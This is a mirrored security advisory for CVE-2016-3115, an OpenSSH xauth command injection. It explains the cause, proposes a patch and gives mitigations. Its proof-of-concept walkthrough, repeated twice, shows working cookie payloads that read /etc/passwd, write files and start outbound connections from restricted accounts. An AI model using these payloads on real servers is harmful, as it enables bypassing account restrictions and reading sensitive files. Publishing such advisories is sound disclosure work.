Lucene search

K
seebugRootSSV:91041
HistoryMar 16, 2016 - 12:00 a.m.

OpenSSH <=7.2p1 xauth injection

2016-03-1600:00:00
Root
www.seebug.org
689

0.023 Low

EPSS

Percentile

88.6%

来源链接: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115

VuNote

Author:		&lt;github.com/tintinweb&gt;
Ref:		https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115
Version: 	0.2
Date: 		Mar 3rd, 2016

Tag:		openssh xauth command injection may lead to forced-command and /bin/false bypass 

Overview

Name:			openssh
Vendor:			OpenBSD
References:		* http://www.openssh.com/[1]

Version:		7.2p1 [2]
Latest Version:	7.2p1
Other Versions:	&lt;= 7.2p1 (all versions; dating back ~20 years)
Platform(s):	linux
Technology:		c

Vuln Classes:	CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Origin:			remote
Min. Privs.:	post auth

CVE:			CVE-2016-3115

Description

quote website [1]

>OpenSSH is the premier connectivity tool for remote login with the SSH protocol. It encrypts all traffic to eliminate eavesdropping, connection hijacking, and other attacks. In addition, OpenSSH provides a large suite of secure tunneling capabilities, several authentication methods, and sophisticated configuration options.

Summary

An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have X11Forwarding yes enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with the login shell
configured as /bin/false or one with configured forced-commands - to bypass
account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.

Quick-Info:

  • requires: X11Forwarding yes
  • bypasses /bin/false and forced-commands
  • OpenSSH does not treat /bin/false like /bin/nologin (in contrast to Dropbear)
  • does not bypass /bin/nologin (as there is special treatment for this)

Capabilities (xauth):

  • Xauth
    • write file: limited chars, xauthdb format
    • read file: limit lines cut at first \s
    • infoleak: environment
    • connect to other devices (may allow port probing)

see attached PoC, Patch

Details

// see annotated code below

* server_input_channel_req (serverloop.c)
 *- session_input_channel_req:2299 (session.c [2])
  *- session_x11_req:2181
  
* do_exec_pty or do_exec_no_pty 
 *- do_child
  *- do_rc_files (session.c:1335 [2])

Upon receiving an x11-req type channel request sshd parses the channel request
parameters auth_proto and auth_data from the client ssh packet where
auth_proto contains the x11 authentication method used (e.g. MIT-MAGIC-COOKIE-1)
and auth_data contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling execute on that session, sshd will
call do_rc_files which tries to figure out if this is an x11 call by evaluating
if auth_proto and auth_data (and display) are set. If that is the case AND
there is no system /sshrc existent on the server AND it no user-specific $HOME/.ssh/rc
is set, then do_rc_files will run xauth -q - and pass commands via stdin.
Note that auth_data nor auth_proto was sanitized or validated, it just contains
user-tainted data. Since xauth commands are passed via stdin and \n is a
command-separator to the xauth binary, this allows a client to inject arbitrary
xauth commands.

Sidenote #1: in case sshd takes the $HOME/.ssh/rc branch, it will pass the tainted
input as arguments to that script.
Sidenote #2: client code also seems to not sanitize auth_data, auth_proto. [3]

This is an excerpt of the man xauth [4] to outline the capabilities of this xauth
command injection:

SYNOPSIS
   	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

	add displayname protocolname hexkey
	generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
	[n]extract filename displayname...
	[n]list [displayname...]
	[n]merge [filename...]
	remove displayname...
	source filename
	info  
	exit
	quit
	version
	help
	?

Interesting commands are:

info	 - leaks environment information / path
		~# xauth info
		xauth:  file /root/.Xauthority does not exist
		Authority file:       /root/.Xauthority
		File new:             yes
		File locked:          no
		Number of entries:    0
		Changes honored:      yes
		Changes made:         no
		Current input:        (argv):1

source	 - arbitrary file read (cut on first `\s`)
		# xauth source /etc/shadow
		xauth:  file /root/.Xauthority does not exist
		xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
					
extract  - arbitrary file write 
		 * limited characters
         * in xauth.db format
         * since it is not compressed it can be combined with `xauth add` to 
           first store data in the database and then export it to an arbitrary
           location e.g. to plant a shell or do other things.

generate - connect to &lt;ip&gt;:&lt;port&gt; (port probing, connect back and pot. exploit
		   vulnerabilities in X.org

Source

Inline annotations are prefixed with //#!

/*
 * Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found
 * first in this order).
 */
static void
do_rc_files(Session *s, const char *shell)
{
...
		snprintf(cmd, sizeof cmd, "%s -q -",				
		    options.xauth_location);
		f = popen(cmd, "w");							//#! run xauth -q -
		if (f) {
			fprintf(f, "remove %s\n",					//#! remove &lt;user_tainted_data&gt; - injecting \n auth_display injects xauth command
			    s-&gt;auth_display);
			fprintf(f, "add %s %s %s\n",				//#! \n injection
			    s-&gt;auth_display, s-&gt;auth_proto,
			    s-&gt;auth_data);
			pclose(f);
		} else {
			fprintf(stderr, "Could not run %s\n",
			    cmd);
		}
	}
}

Proof of Concept

Prerequisites:

  • install python 2.7.x

  • issue #&gt; pip install paramiko to install paramiko ssh library for python 2.x

  • run poc.py

    Usage: <host> <port> <username> <password or path_to_privkey>

          path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
    

poc:

  1. configure one user (user1) for force-commands and another one with /bin/false in /etc/passwd:

    #PUBKEY line - force commands: only allow "whoami"
    #cat /home/user1/.ssh/authorized_keys
    command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box
    
    #cat /etc/passwd
    user2:x:1001:1002:,,,:/home/user2:/bin/false
    
  2. run sshd with X11Forwarding yes (kali default config)

    #&gt; /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d
    
  3. forced-commands - connect with user1 and display env information

    #&gt; python &lt;host&gt; 22 user1 .demoprivkey
    
    INFO:__main__:add this line to your authorized_keys file: 
    #PUBKEY line - force commands: only allow "whoami"
    #cat /home/user/.ssh/authorized_keys
    command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
    
    INFO:__main__:connecting to: user1:&lt;PKEY&gt;@host:22
    INFO:__main__:connected!
    INFO:__main__:
    Available commands:
        .info
        .readfile &lt;path&gt;
        .writefile &lt;path&gt; &lt;data&gt;
        .exit .quit
        &lt;any xauth command or type help&gt;
        
    #&gt; .info
    DEBUG:__main__:auth_cookie: '\ninfo'
    DEBUG:__main__:dummy exec returned: None
    INFO:__main__:Authority file:       /home/user1/.Xauthority
    File new:             no
    File locked:          no
    Number of entries:    1
    Changes honored:      yes
    Changes made:         no
    Current input:        (stdin):3
    /usr/bin/xauth: (stdin):2:  bad "add" command line
    ...
    
  4. forced-commands - read /etc/passwd

    ...
    #&gt; .readfile /etc/passwd
    DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
    DEBUG:__main__:dummy exec returned: None
    INFO:__main__:root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    ...
    
  5. forced-commands - write /tmp/testfile

    #&gt; .writefile /tmp/testfile `thisisatestfile`
    DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
    DEBUG:__main__:dummy exec returned: None
    DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500'
    DEBUG:__main__:dummy exec returned: None
    DEBUG:__main__:/usr/bin/xauth: (stdin):2:  bad "add" command line
    
    #&gt; ls -lsat /tmp/testfile
    4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile
    
    #&gt; cat /tmp/testfile
    ú65500hiú65500`thisisatestfile`ª
    
  6. /bin/false - connect and read /etc/passwd

    #&gt; python &lt;host&gt; 22 user2 user2password
    INFO:__main__:connecting to: user2:user2password@host:22
    INFO:__main__:connected!
    INFO:__main__:
    Available commands:
        .info
        .readfile &lt;path&gt;
        .writefile &lt;path&gt; &lt;data&gt;
        .exit .quit
        &lt;any xauth command or type help&gt;
        
    #&gt; .readfile /etc/passwd
    DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
    DEBUG:__main__:dummy exec returned: None
    INFO:__main__:root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    ...
    user2:x:1001:1002:,,,:/home/user2:/bin/false
    ...
    
  7. /bin/false - initiate outbound X connection to 8.8.8.8:6100

    #&gt; generate 8.8.8.8:100 .	
    
    #&gt; tcpdump 
    IP &lt;host&gt;.42033 &gt; 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 0,nop,wscale 10], length 0
    

Troubleshooting

Q: ImportError: No module named py3compat

A: outdated paramiko please upgrade with pip install --upgrade paramiko

Proposed Patch

  • Sanitize user-tainted input s-&gt;auth_data, s-&gt;auth_proto, s-&gt;display
    by replacing all non-printables by spaces. (I know this is kind of ugly ;))

    #&gt; ~/openssh-7.2p1# diff -u session.c session.c.patched
    --- session.c   2016-02-17 11:32:11.616868923 -0500
    +++ session.c.patched   2016-02-17 11:33:33.681596273 -0500
    @@ -1327,6 +1327,18 @@
            return env;
     }
    
    +char *
    +sanitize_non_printable(char *s) {
    +       char *ptr = s;
    +       while (*ptr != '\0'){
    +           if ((*ptr &lt; 0x20)||(*s &gt;= 0x7f )){  /* sanitizing \n would basically be enough */
    +               *ptr = ' ';
    +           }
    +           ptr++;
    +       }
    +       return s;
    +}
    +
     /*
      * Run $HOME/.ssh/rc, /etc/ssh/sshrc, or xauth (whichever is found
      * first in this order).
    @@ -1341,6 +1353,9 @@
    
            do_xauth =
                s-&gt;display != NULL && s-&gt;auth_proto != NULL && s-&gt;auth_data != NULL;
    +        sanitize_non_printable(s-&gt;display);
    +        sanitize_non_printable(s-&gt;auth_proto);
    +        sanitize_non_printable(s-&gt;auth_data);
            /* ignore _PATH_SSH_USER_RC for subsystems and admin forced commands */
            if (!s-&gt;is_subsystem && options.adm_forced_command == NULL &&
                !no_user_rc && options.permit_user_rc &&
    

Mitigation / Workaround

  • disable x11-forwarding: sshd_config set X11Forwarding no
  • disable x11-forwarding for specific user with forced-commands: no-x11-forwarding in authorized_keys

Notes

Verified, resolved and released within a few days. very impressive.

Vendor response: see advisory [5]

References

[1] http://www.openssh.com/
[2] https://github.com/openssh/openssh-portable/blob/5a0fcb77287342e2fc2ba1cee79b6af108973dc2/session.c#L1388
[3]	https://github.com/openssh/openssh-portable/blob/19bcf2ea2d17413f2d9730dd2a19575ff86b9b6a/clientloop.c#L376
[4] http://linux.die.net/man/1/xauth
[5] http://www.openssh.com/txt/x11fwd.adv

Contact

https://github.com/tintinweb

                                                
Prerequisites:

* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* make sure `poc.py`


 Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key


poc:

1. configure one user (user1) for `force-commands` and another one with `/bin/false` in `/etc/passwd`:

#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15
 user1@box

#cat /etc/passwd
user2:x:1001:1002:,,,:/home/user2:/bin/false
        
2. run sshd with `X11Forwarding yes` (kali default config)

#> /root/openssh-7.2p1/sshd -p 22 -f sshd_config -D -d

3. `forced-commands` - connect with user1 and display env information

#> python <host> 22 user1 .demoprivkey

INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15
 user@box

INFO:__main__:connecting to: user1:<PKEY>@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/user1/.Xauthority
File new:             no
File locked:          no
Number of entries:    1
Changes honored:      yes
Changes made:         no
Current input:        (stdin):3
/usr/bin/xauth: (stdin):2:  bad "add" command line
...
                
4. `forced-commands` - read `/etc/passwd`

...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

5. `forced-commands` - write `/tmp/testfile`

#> .writefile /tmp/testfile `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:/usr/bin/xauth: (stdin):2:  bad "add" command line

#> ls -lsat /tmp/testfile
4 -rw------- 1 user1 user1 59 xx xx 13:49 /tmp/testfile

#> cat /tmp/testfile
\FA65500hi\FA65500`thisisatestfile`\AA

6. `/bin/false` - connect and read `/etc/passwd`

#> python <host> 22 user2 user2password
INFO:__main__:connecting to: user2:user2password@host:22
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
user2:x:1001:1002:,,,:/home/user2:/bin/false
...
        
7. `/bin/false` - initiate outbound X connection to 8.8.8.8:6100

#> generate 8.8.8.8:100 .       

#> tcpdump
IP <host>.42033 > 8.8.8.8.6100: Flags [S], seq 1026029124, win 29200, options [mss 1460,sackOK,TS val 431416709 ecr 
0,nop,wscale 10], length 0